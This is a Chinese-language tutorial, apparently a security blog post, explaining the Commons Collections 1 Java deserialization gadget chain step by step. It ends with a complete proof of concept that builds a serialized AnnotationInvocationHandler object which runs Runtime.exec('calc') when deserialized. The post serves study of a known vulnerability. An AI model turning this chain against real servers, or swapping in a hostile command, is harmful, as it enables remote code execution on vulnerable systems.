CommonsCollections1利用链-java

CommonsCollections为Java标准的Collections API提供了相当好的补充。在此基础上对其常用的数据结构操作进行了很好的封装、抽象和补充。保证性能的同时大大简化代码

推荐各位师傅配合B站白日梦组长以及周哥的文章食用

1
2
https://www.freebuf.com/column/3252
https://space.bilibili.com/2142877265?spm_id_from=333.337.0.0

漏洞点

该方法存在于特定版本的CommonsCollections中,也就是会有很多服务器存在这个方法

image-20230324095734323

利用transform的写法调用计算器

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
package test;

import org.apache.commons.collections.functors.InvokerTransformer;

import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;

public class Test {
public static void main(String[] args) throws NoSuchMethodException, InvocationTargetException, IllegalAccessException {
Runtime r = Runtime.getRuntime();


InvokerTransformer invokerTransformer1 = new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"});
invokerTransformer1.transform(r);
}
}

接下来找谁调用了InvokerTransformer.transform方法

image-20230324103010433

decorate方法调用了自身的构造器,我们调用这个方法获取一个TransformMap的实例image-20230324103404420

image-20230324103448560

image-20230324104711782

image-20230324104805189

image-20230324112823150

entry是遍历键值对的一组名称的代称,在这个链条里只要我们对AnnotationInvocationHandler这个类的实例进行反序列化操作,系统就会执行他自己重写的readObject方法,在这个方法里对他接收的map进行遍历,然后一路调用到我们InvokerTransformer.transform方法执行代码

image-20230324123002248

image-20230324200720575

image-20230324184659473

Runtime实例反射调用计算器,但是Runtime的对象无法被反序列化,所以我们需要把它改为InvokerTransformer的写法套一层反射

1
2
3
4
5
6
7
8
9
10
11
12
13
14
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;

public class test01 {

public static void main(String[] args) throws InvocationTargetException, IllegalAccessException, NoSuchMethodException {

Class runtimeClass = Runtime.class;
Method getRuntime = runtimeClass.getMethod("getRuntime", null);
Runtime r = (Runtime) getRuntime.invoke(null, null);
Method exec = runtimeClass.getMethod("exec", String.class);
exec.invoke(r,"calc");
}
}

将以上反射调用计算器的代码利用InvokerTransformer重构

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
import org.apache.commons.collections.functors.InvokerTransformer;

import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;

public class test01 {

public static void main(String[] args) throws InvocationTargetException, IllegalAccessException, NoSuchMethodException {

Method getRuntime = (Method) new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}).transform(Runtime.class);
Runtime r = (Runtime) new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}).transform(getRuntime);
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"}).transform(r);

//Class runtimeClass = Runtime.class;
// Method getRuntime = runtimeClass.getMethod("getRuntime", null);
// Runtime r = (Runtime) getRuntime.invoke(null, null);
//Method exec = runtimeClass.getMethod("exec", String.class);
//exec.invoke(r,"calc");
}
}

上述写法是一种链式调用,就是上一条语句的输出作为下一条语句的输入,可以利用ChainedTransformer便捷的调用

image-20230325155740559

1
2
3
4
5
6
7
8
InvokerTransformer[] transformers = new InvokerTransformer[]{
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
chainedTransformer.transform(Runtime.class);

image-20230325162150003

image-20230325162006423

image-20230325162529719

选一个有属性的注解

image-20230325162926475

image-20230325163033089

image-20230325163802756

image-20230325163959311

image-20230325164215358

完整poc

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;

import javax.annotation.processing.SupportedSourceVersion;
import javax.xml.crypto.dsig.Transform;
import java.io.*;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.lang.reflect.Method;
import java.util.HashMap;
import java.util.Map;

public class Test {
public static void main(String[] args) throws Exception {

Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke", new Class[]{Object.class,Object[].class}, new Object[]{null,null}),
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"}),
};

ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);


HashMap<Object, Object> map = new HashMap<>();
map.put("value", "value");
Map<Object, Object> transformedMap = TransformedMap.decorate(map, null, chainedTransformer);

Class<?> clazz1 = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor<?> annotationInvocationHandlerConstructor = clazz1.getDeclaredConstructor(Class.class, Map.class);
annotationInvocationHandlerConstructor.setAccessible(true);
Object object = annotationInvocationHandlerConstructor.newInstance(SupportedSourceVersion.class,transformedMap);

FileOutputStream fileOutputStream = new FileOutputStream("xiu.bin");
ObjectOutputStream objectOutputStream = new ObjectOutputStream(fileOutputStream);
objectOutputStream.writeObject(object);
fileOutputStream.close();
objectOutputStream.close();

FileInputStream inputStream = new FileInputStream("xiu.bin");
ObjectInputStream objectInputStream = new ObjectInputStream(inputStream);
objectInputStream.readObject();
objectInputStream.close();
inputStream.close();

}
}